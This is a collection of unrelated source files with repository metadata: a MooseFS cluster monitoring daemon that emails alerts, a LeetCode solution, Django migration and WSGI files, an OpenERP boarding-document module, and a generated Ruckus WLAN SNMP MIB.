me=mail_user+"<"+mail_user+"@"+mail_postfix+">"
msg = MIMEText(content)
msg['Subject'] = sub
msg['From'] = me
msg['To'] = ";".join(mailto_list)
try:
s = smtplib.SMTP()
s.connect(mail_host)
s.login(mail_user,mail_pass)
s.sendmail(me, mailto_list, msg.as_string())
s.close()
return True
except Exception, e:
print str(e)
return False
def notify(act):
if (acts.get(act, 0) + NOTIFY_INT < int(time.time())):
acts[act] = int(time.time())
return True
else:
return False
def del_act(act):
if acts.has_key(act):
del acts[act]
class MyDaemon(Daemon):
def run(self):
while True:
out = []
# check version
masterversion = (0,0,0)
try:
s = socket.socket()
s.connect((masterhost,masterport))
mysend(s,struct.pack(">LL",CLTOMA_INFO,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
data = myrecv(s,length)
if cmd==MATOCL_INFO:
if length==52:
masterversion = (1,4,0)
elif length==60:
masterversion = (1,5,0)
elif length==68 or length==76:
masterversion = struct.unpack(">HBB",data[:4])
except Exception:
if notify("check_master"):
send_mail("""Can't connect to MFS master (IP:%s ; PORT:%u)""" % (htmlentities(masterhost),masterport), "请求连接主控服务器失败")
print """Can't connect to MFS master (IP:%s ; PORT:%u)""" % (htmlentities(masterhost),masterport)
exit()
if masterversion==(0,0,0):
if notify("check_master"):
send_mail("""Can't detect MFS master version (IP:%s ; PORT:%u)""" % (htmlentities(masterhost),masterport), "MFS主控服务器软件版本获取失败")
print """Can't detect MFS master version"""
exit()
del_act("check_master");
#检查挂载服务器
try:
s = socket.socket()
s.connect((masterhost,masterport))
mysend(s,struct.pack(">LL",CLTOMA_CSERV_LIST,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
if cmd==MATOCL_CSERV_LIST and masterversion>=(1,5,13) and (length%54)==0:
del_act("check_mount")
data = myrecv(s,length)
n = length/54
for i in xrange(n):
d = data[i*54:(i+1)*54]
disconnected,v1,v2,v3,ip1,ip2,ip3,ip4,port,used,total,chunks,tdused,tdtotal,tdchunks,errcnt = struct.unpack(">BBBBBBBBHQQLQQLL",d)
strip = "%u.%u.%u.%u" % (ip1,ip2,ip3,ip4)
try:
host = (socket.gethostbyaddr(strip))[0]
except Exception:
host = "(unresolved)"
if disconnected==1:
if notify(strip):
out.append("""%s:%s%s 链接断开""" % (strip,port,host))
else:
if (total>0):
if (int((used*100)/total) >= WARNING_HDD):
if notify(strip):
out.append("""%s:%s%s 硬盘容量超过%u%%""" % (strip,port,host,WARNING_HDD))
else:
del_act(strip)
elif notify(strip):
out.append("""%s:%s%s 硬盘容量未知""" % (strip,port,host))
elif cmd==MATOCL_CSERV_LIST and masterversion<(1,5,13) and (length%50)==0:
del_act("check_mount")
data = myrecv(s,length)
n = length/50
for i in xrange(n):
d = data[i*50:(i+1)*50]
ip1,ip2,ip3,ip4,port,used,total,chunks,tdused,tdtotal,tdchunks,errcnt = struct.unpack(">BBBBHQQLQQLL",d)
strip = "%u.%u.%u.%u" % (ip1,ip2,ip3,ip4)
try:
host = (socket.gethostbyaddr(strip))[0]
except Exception:
host = "(unresolved)"
if (total>0):
if (int((used*100)/total) >= WARNING_HDD):
if notify(strip):
out.append("""%s:%s%s 硬盘容量超过%u%%""" % (strip,port,host,WARNING_HDD))
else:
del_act(strip)
elif notify(strip):
out.append("""%s:%s%s 硬盘容量未知""" % (strip,port,host))
elif notify("check_mount"):
out.append("""检查挂载服务器失败cmd""")
s.close()
except Exception:
if notify("check_mount"):
out.append("""检查挂载服务器失败link""")
traceback.print_exc(file=sys.stdout)
#检查日志服务器
if masterversion>=(1,6,5):
try:
s = socket.socket()
s.connect((masterhost,masterport))
mysend(s,struct.pack(">LL",CLTOMA_MLOG_LIST,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
if cmd==MATOCL_MLOG_LIST and (length%8)==0:
data = myrecv(s,length)
n = length/8
if n==0 and notify("check_log"):
out.append("""未发现日志服务器""")
if n > 0:
del_act("check_log")
elif notify("check_log"):
out.append("""检查日志服务器失败cmd""")
s.close()
except Exception:
if notify("check_log"):
out.append("""检查日志服务器失败""")
traceback.print_exc(file=sys.stdout)
#检查挂载硬盘
try:
# get cs list
hostlist = []
s = socket.socket()
s.connect((masterhost,masterport))
mysend(s,struct.pack(">LL",CLTOMA_CSERV_LIST,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
if cmd==MATOCL_CSERV_LIST and masterversion>=(1,5,13) and (length%54)==0:
del_act("check_hdd")
data = myrecv(s,length)
n = length/54
servers = []
for i in xrange(n):
d = data[i*54:(i+1)*54]
disconnected,v1,v2,v3,ip1,ip2,ip3,ip4,port,used,total,chunks,tdused,tdtotal,tdchunks,errcnt = struct.unpack(">BBBBBBBBHQQLQQLL",d)
if disconnected==0:
hostlist.append((v1,v2,v3,ip1,ip2,ip3,ip4,port))
else:
hostip = "%u.%u.%u.%u" % (ip1,ip2,ip3,ip4)
if notify(hostip):
out.append("""%s:%s%s 链接断开hdd""" % (hostip,port))
elif cmd==MATOCL_CSERV_LIST and masterversion<(1,5,13) and (length%50)==0:
del_act("check_hdd")
data = myrecv(s,length)
n = length/50
servers = []
for i in xrange(n):
d = data[i*50:(i+1)*50]
ip1,ip2,ip3,ip4,port,used,total,chunks,tdused,tdtotal,tdchunks,errcnt = struct.unpack(">BBBBHQQLQQLL",d)
hostlist.append((1,5,0,ip1,ip2,ip3,ip4,port))
elif notify('check_hdd'):
out.append("""检查挂载硬盘返回异常""")
s.close()
hdd = []
for v1,v2,v3,ip1,ip2,ip3,ip4,port in hostlist:
hostip = "%u.%u.%u.%u" % (ip1,ip2,ip3,ip4)
try:
hoststr = (socket.gethostbyaddr(hostip))[0]
except Exception:
hoststr = "(unresolved)"
if port>0:
if (v1,v2,v3)<=(1,6,8):
s = socket.socket()
s.connect((hostip,port))
mysend(s,struct.pack(">LL",CLTOCS_HDD_LIST_V1,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
if cmd==CSTOCL_HDD_LIST_V1:
del_act(hostip);
data = myrecv(s,length)
while length>0:
plen = ord(data[0])
path = "%s:%u:%s" % (hostip,port,data[1:plen+1])
flags,errchunkid,errtime,used,total,chunkscnt = struct.unpack(">BQLQQL",data[plen+1:plen+34])
length -= plen+34
data = data[plen+34:]
hdd.append((path,flags,errchunkid,errtime,used,total,chunkscnt,0,0,0,0,0,0,0,0,0,0,0,0))
elif notify(hostip):
out.append("""%s:%s%s 返回异常cms""" % (hostip,port))
s.close()
else:
s = socket.socket()
s.connect((hostip,port))
mysend(s,struct.pack(">LL",CLTOCS_HDD_LIST_V2,0))
header = myrecv(s,8)
cmd,length = struct.unpack(">LL",header)
if cmd==CSTOCL_HDD_LIST_V2:
del_act(hostip)
data = myrecv(s,length)
while length>0:
entrysize = struct.unpack(">H",data[:2])[0]
entry = data[2:2+entrysize]
data = data[2+entrysize:]
length -= 2+entrysize;
plen = ord(entry[0])
path = "%s:%u:%s" % (hostip,port,entry[1:plen+1])
flags,errchunkid,errtime,used,total,chunkscnt = struct.unpack(">BQLQQL",entry[plen+1:plen+34])
hdd.append((path,flags,errchunkid,errtime,used,total,chunkscnt))
elif notify(hostip):
out.append("""%s:%s%s 返回异常cms""" % (hostip,port))
s.close()
elif notify(hostip):
out.append("""%s:%s%s 链接断开hdd""" % (hostip,port))
if len(hdd)>0:
for path,flags,errchunkid,errtime,used,total,chunkscnt in hdd:
if flags==1:
if masterversion>=(1,6,10):
status = 'marked for removal'
else:
status = 'to be empty'
elif flags==2:
status = 'damaged'
elif flags==3:
if masterversion>=(1,6,10):
status = 'damaged, marked for removal'
else:
status = 'damaged, to be empty'
elif flags==4 or flags==6:
status = 'scanning'
elif flags==5 or flags==7:
status = 'marked for removal, scanning'
else:
status = 'ok'
if errtime==0 and errchunkid==0:
lerror = 'no'
else:
errtimetuple = time.localtime(errtime)
lerror = '%s on chunk: %u' % (time.strftime("%Y-%m-%d %H:%M:%S",errtimetuple),errchunkid)
if status != 'ok' or lerror != 'no':
if notify(path):
out.append("""IP path:%s chunks:%u last error:%s status:%s""" % (path,chunkscnt,lerror,status))
else:
del_act("check_hdd")
del_act(path)
elif notify("check_hdd"):
out.append("""未发现挂载硬盘""")
except Exception:
if notify("check_hdd"):
out.append("""检查挂载硬盘异常""")
traceback.print_exc(file=sys.stdout)
if len(out) >0:
content = "\n".join(out)
print content
send_mail("MFS监控报告", content)
time.sleep(SLEEP_TIME)
if __name__ == "__main__":
daemon = MyDaemon('/tmp/check_mfs.pid')
if len(sys.argv) == 2:
if 'start' == sys.argv[1]:
daemon.start()
elif 'stop' == sys.argv[1]:
daemon.stop()
elif 'restart' == sys.argv[1]:
daemon.restart()
else:
print "Unknown command"
sys.exit(2)
sys.exit(0)
else:
print "usage: %s start|stop|restart" % sys.argv[0]
sys.exit(2)
|
[
"hbyl@msn.com"
] |
hbyl@msn.com
|
57efa27138197ad993b30c9bf2cee1211c0c7094
|
1de663353cdd02e224bd7ea4c341d7072799aad7
|
/347TopKFrequentElements.py
|
ea19f41114561380976ab90aa8d8c961908cb743
|
[] |
no_license
|
huanglin6385/huanglin
|
ce96102819a352a7435da448747daf34fb5ecf4c
|
b3d4f0e54c2bf1127817f2c8d126de12cecf1f05
|
refs/heads/master
| 2020-12-02T19:22:16.078461
| 2017-09-14T09:05:17
| 2017-09-14T09:05:17
| 96,330,917
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 678
|
py
|
#62.26
import collections
class Solution(object):
def topKFrequent(self, nums, k):
"""
:type nums: List[int]
:type k: int
:rtype: List[int]
"""
dict2 = collections.defaultdict(list)
dict1 = collections.Counter(nums)
for i in dict1:
dict2[dict1[i]].append(i)
if k >= len(dict1.keys()):
return dict1.keys()
o = sorted(dict2.keys())
result = []
for i in o[::-1]:
if k > len(dict2[i]):
result.extend(dict2[i])
k -= len(dict2[i])
else:
return result + dict2[i][:k]
return result
|
[
"a940100079@qq.com"
] |
a940100079@qq.com
|
c648558579356a1057328b1ea35bd5e6c1b446a6
|
d6e9aa31c05dd22857b27353d26a69ed5c472d56
|
/books/apps/index/migrations/0023_auto_20200709_1752.py
|
ec260d5a31ad8e1a8ceac84b90c43991f19e6346
|
[] |
no_license
|
Zhukowych/books
|
4ac3490c3bdb369c3e524cdc4317b29781af9133
|
70c785bbb87eaa07958dd70e94caef87ddcea04d
|
refs/heads/main
| 2023-02-15T01:27:45.886052
| 2021-01-06T18:55:47
| 2021-01-06T18:55:47
| 324,331,587
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 403
|
py
|
# Generated by Django 3.0.6 on 2020-07-09 14:52
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('index', '0022_categoryrating'),
]
operations = [
migrations.AlterField(
model_name='bookrating',
name='view',
field=models.IntegerField(default=False),
),
]
|
[
"mzmzhuk@gmail.com"
] |
mzmzhuk@gmail.com
|
782097d71247ef434e09cceef0c187f9596170a9
|
1b66fda82a919e74c036c767e904b415bda02e9a
|
/app.py
|
14ef00b7c49a716f2742050e794472e5352d938c
|
[] |
no_license
|
AloisSeckar/StaraKrc
|
4ecfd4673364a7b5fd2b98df3c9f78486a087b3e
|
58392d58c19ff888d4e194780dde2c3841c950bd
|
refs/heads/master
| 2023-07-20T04:03:08.579362
| 2023-07-06T22:35:07
| 2023-07-06T22:35:07
| 47,654,601
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 283
|
py
|
import os
# Pokud se settings nachází v /srv/app/moje_aplikace,
# bude obsah pro DJANGO_SETTINGS_MODULE: moje_aplikace.settings
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "main.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
|
[
"ellrohir@seznam.cz"
] |
ellrohir@seznam.cz
|
d23f56d4a1ed9d0c9f17975d7c3dd0e2c236f90d
|
e93613f33a6bd31d8ce6d24b1ad66d1999234f8c
|
/session_4/update.py
|
9445a35abb5a9e2b2c77357a0653c05e233ced5a
|
[] |
no_license
|
ngocphucdo/ngocphucdo-fundamentals-c4e15
|
c37e1475d90bd5fcaac28e89bf1c7c3afc0871a1
|
8ec9fe94d9ac13d37de55ae358fbc3a72b6299fa
|
refs/heads/master
| 2021-05-05T15:44:28.427623
| 2018-01-29T15:59:28
| 2018-01-29T15:59:28
| 117,319,509
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 130
|
py
|
menu = ["Pho", "Thit cho", "Tieu ho"] #list
for index, item in enumerate(menu):
menu[index] = menu[index].lower()
print(menu)
|
[
"taken.jb@gmail.com"
] |
taken.jb@gmail.com
|
ff805590927202c519ba6fc616a3e63321a66599
|
15ee95024fa0748f96a64b1c8ff9d58cd7dafece
|
/boardings_management/identificative_document.py
|
873ca90ee6fd9ac9a939523e4a8cda83fd906097
|
[] |
no_license
|
Pexego/addons-va-ca-px
|
598e7be56dc9db290dda46dcdfd7ab95f584addf
|
bec77afc343caed7aaff9854097ad002bd1ce264
|
refs/heads/master
| 2020-05-07T15:26:44.358072
| 2014-09-29T16:12:52
| 2014-09-29T16:12:52
| 24,601,451
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,127
|
py
|
# -*- coding: utf-8 -*-
##############################################################################
#
# Copyright (C) 2004-2012 Pexego Sistemas Informáticos All Rights Reserved
# $Marta Vázquez Rodríguez$ <marta@pexego.es>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from osv import osv, fields
class document_type(osv.osv):
_name = 'document.type'
_description = 'Document type'
_columns = {
'name': fields.char('Definition', size=255, required=True)
}
document_type()
class packaging_type(osv.osv):
_name = "packaging.type"
_columns = {
'name': fields.char('Abbreviation', size=32, required=True),
'description': fields.char('Description', size=255)
}
packaging_type()
class identificative_document(osv.osv):
_name = 'identificative.document'
_description = 'Identificative document'
_order = 'arrival_date desc, boarding_date desc'
def _get_ou_port_ids_str(self, cr, uid, ids, field_name, args, context=None):
res = {}
for doc in self.browse(cr, uid, ids):
res[doc.id] = ""
stream = []
if doc.port_id:
stream.append(str(doc.port_id.id))
res[doc.id] = u"/".join(stream)
return res
_columns = {
'name': fields.char('Document', size=32, required=True),
'date': fields.date('Date'),
'arrival_date': fields.date('Arrival date'),
'boarding_date': fields.date('Boarding date'),
'doc_type_id': fields.many2one('document.type', 'Type'),
'ou_port_id': fields.many2one('ou.port', 'Org. Unit Port'),
'veh_type_id': fields.many2one('vehicle.type', 'Vehicle type'),
'dep_type_id': fields.many2one('departure.type', 'Departure type'),
'weight': fields.float('Weight', digits=(16,2)),
'boat_id': fields.many2one('boat', 'Boat'),
'situation_id': fields.many2one('situation.types', 'Boarding situation'),
'trademark': fields.char('Trademark', size=64),
'model': fields.char('Model', size=64),
'packaging': fields.many2one('packaging.type', 'Packaging'),
'port_id': fields.many2one('port', 'Port'),
'chassis': fields.char('Chassis', size=50),
'measures': fields.char('Measures', size=50),
'observations': fields.text('Observations'),
'document': fields.char('Document Number', size=50),
'units': fields.integer('Units'),
'ou_port_ids_str': fields.function(_get_ou_port_ids_str, method=True, string='Ou port str', type='char', size=255),
}
_defaults={
'units': lambda *a:1,
'situation_id': lambda self, cr, uid, context: \
self.pool.get('situation.types').search(cr, uid, \
[('name','like', 'No embarcado')], context=context)\
and self.pool.get('situation.types').search(cr, uid, \
[('name','like', 'No embarcado')], context=context)[0]\
or False
}
def onchange_port_id(self, cr, uid, ids, port_id, context=None):
"""
Fills the port field with the port that belongs to the
Organizational Unit of the Port selected
"""
if port_id:
stream = []
stream.append(str(port_id))
return {'value': {'ou_port_ids_str': u"/".join(stream)}}
return {}
def create(self, cr, uid, values, context=None):
if values.get('ou_port_id',False):
ou_port = self.pool.get('ou.port').browse(cr, uid, values['ou_port_id'])
if ou_port.port_id:
values.update({'port_id' : ou_port.port_id.id})
return super(identificative_document, self).create(cr, uid, values, context=context)
def write(self, cr, uid, ids, values, context=None):
for doc in self.pool.get('identificative.document').browse(cr,uid,ids):
if values.get('ou_port_id',False):
ou_port = self.pool.get('ou.port').browse(cr, uid, values['ou_port_id'])
if ou_port.port_id:
values.update({'port_id' : ou_port.port_id.id})
return super(identificative_document, self).write(cr, uid, ids, values, context=context)
identificative_document()
|
[
"santiago@pexego.es"
] |
santiago@pexego.es
|
e061f62c09a8e8d7f78c9313d2d96595f9dbd27a
|
85a9ffeccb64f6159adbd164ff98edf4ac315e33
|
/pysnmp/RUCKUS-WLAN-MIB.py
|
0603b37cfd38c7a3260f7fc34fa80689d922e6f4
|
[
"Apache-2.0"
] |
permissive
|
agustinhenze/mibs.snmplabs.com
|
5d7d5d4da84424c5f5a1ed2752f5043ae00019fb
|
1fc5c07860542b89212f4c8ab807057d9a9206c7
|
refs/heads/master
| 2020-12-26T12:41:41.132395
| 2019-08-16T15:51:41
| 2019-08-16T15:53:57
| 237,512,469
| 0
| 0
|
Apache-2.0
| 2020-01-31T20:41:36
| 2020-01-31T20:41:35
| null |
UTF-8
|
Python
| false
| false
| 48,959
|
py
|
#
# PySNMP MIB module RUCKUS-WLAN-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/RUCKUS-WLAN-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:50:58 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ConstraintsUnion, ConstraintsIntersection, SingleValueConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ConstraintsUnion", "ConstraintsIntersection", "SingleValueConstraint", "ValueRangeConstraint")
ifIndex, IpAddress, InterfaceIndex = mibBuilder.importSymbols("IF-MIB", "ifIndex", "IpAddress", "InterfaceIndex")
ruckusCommonWLANModule, = mibBuilder.importSymbols("RUCKUS-ROOT-MIB", "ruckusCommonWLANModule")
RuckusSSID, RuckusdB, RuckusWEPKey, RuckusAdminStatus, RuckusRadioMode, RuckusWPAPassPhrase = mibBuilder.importSymbols("RUCKUS-TC-MIB", "RuckusSSID", "RuckusdB", "RuckusWEPKey", "RuckusAdminStatus", "RuckusRadioMode", "RuckusWPAPassPhrase")
NotificationGroup, ObjectGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ObjectGroup", "ModuleCompliance")
MibScalar, MibTable, MibTableRow, MibTableColumn, Counter64, Integer32, TimeTicks, ModuleIdentity, IpAddress, Gauge32, ObjectIdentity, NotificationType, MibIdentifier, Counter32, iso, Unsigned32, Bits = mibBuilder.importSymbols("SNMPv2-SMI", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Counter64", "Integer32", "TimeTicks", "ModuleIdentity", "IpAddress", "Gauge32", "ObjectIdentity", "NotificationType", "MibIdentifier", "Counter32", "iso", "Unsigned32", "Bits")
TextualConvention, MacAddress, DisplayString, RowStatus, TruthValue = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "MacAddress", "DisplayString", "RowStatus", "TruthValue")
ruckusWLANMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1))
if mibBuilder.loadTexts: ruckusWLANMIB.setLastUpdated('201010150800Z')
if mibBuilder.loadTexts: ruckusWLANMIB.setOrganization('Ruckus Wireless, Inc.')
ruckusWLANObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1))
ruckusWLANInfo = MibIdentifier((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1))
ruckusWLANStaInfo = MibIdentifier((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2))
ruckusWLANSecurityInfo = MibIdentifier((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 3))
ruckusWLANEvents = MibIdentifier((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 2))
ruckusWLANTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1), )
if mibBuilder.loadTexts: ruckusWLANTable.setStatus('current')
ruckusWLANEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: ruckusWLANEntry.setStatus('current')
ruckusWLANSSID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 1), RuckusSSID()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANSSID.setStatus('current')
ruckusWLANBSSID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 2), MacAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANBSSID.setStatus('current')
ruckusWLANBSSType = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("station", 1), ("master", 2), ("independent", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANBSSType.setStatus('current')
ruckusWLANOperationalRateSet = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANOperationalRateSet.setStatus('current')
ruckusWLANBeaconPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(100, 1000))).setUnits('milli seconds').setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANBeaconPeriod.setStatus('current')
ruckusWLANDTIMPeriod = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 255))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANDTIMPeriod.setStatus('current')
ruckusWLANRTSThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 7), Integer32().subtype(subtypeSpec=ValueRangeConstraint(256, 2346))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANRTSThreshold.setStatus('current')
ruckusWLANFragmentationThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(256, 2346))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANFragmentationThreshold.setStatus('current')
ruckusWLANRadioMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 9), RuckusRadioMode()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANRadioMode.setStatus('current')
ruckusWLANChannel = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 14))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANChannel.setStatus('current')
ruckusWLANWDSEnable = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 11), TruthValue().clone('false')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANWDSEnable.setStatus('current')
ruckusWLANAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("up", 1), ("down", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANAdminStatus.setStatus('current')
ruckusWLANProtectionMode = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("ctsOnly", 2), ("ctsRts", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANProtectionMode.setStatus('current')
ruckusWLANName = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 14), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1, 16))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANName.setStatus('current')
ruckusWLANSSIDBcastDisable = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 15), TruthValue().clone('false')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANSSIDBcastDisable.setStatus('current')
ruckusWLANVlanID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 4094))).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANVlanID.setStatus('current')
ruckusWLANIGMPSnooping = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 1, 1, 25), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: ruckusWLANIGMPSnooping.setStatus('current')
ruckusWLANSuppDataRatesTxTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 2), )
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesTxTable.setStatus('current')
ruckusWLANSuppDataRatesTxEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANSuppDataRatesTxIndex"))
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesTxEntry.setStatus('current')
ruckusWLANSuppDataRatesTxIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 2, 1, 1), Integer32())
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesTxIndex.setStatus('current')
ruckusWLANSuppDataRatesTxValue = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 2, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesTxValue.setStatus('current')
ruckusWLANSuppDataRatesRxTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 3), )
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesRxTable.setStatus('current')
ruckusWLANSuppDataRatesRxEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 3, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANSuppDataRatesRxIndex"))
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesRxEntry.setStatus('current')
ruckusWLANSuppDataRatesRxIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 3, 1, 1), Integer32())
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesRxIndex.setStatus('current')
ruckusWLANSuppDataRatesRxValue = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 1, 3, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANSuppDataRatesRxValue.setStatus('current')
ruckusWLANStaStatsTable = MibTable((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1), )
if mibBuilder.loadTexts: ruckusWLANStaStatsTable.setStatus('current')
ruckusWLANStaStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "RUCKUS-WLAN-MIB", "ruckusWLANStaStatsMacAddr"))
if mibBuilder.loadTexts: ruckusWLANStaStatsEntry.setStatus('current')
ruckusWLANStaStatsMacAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 1), MacAddress())
if mibBuilder.loadTexts: ruckusWLANStaStatsMacAddr.setStatus('current')
ruckusWLANStaStatsSSID = MibTableColumn((1, 3, 6, 1, 4, 1, 25053, 1, 1, 6, 1, 1, 2, 1, 1, 2), RuckusSSID()).setMaxAccess("readonly")
if mibBuilder.loadTexts: ruckusWLANStaStatsSSID.setStatus('current')
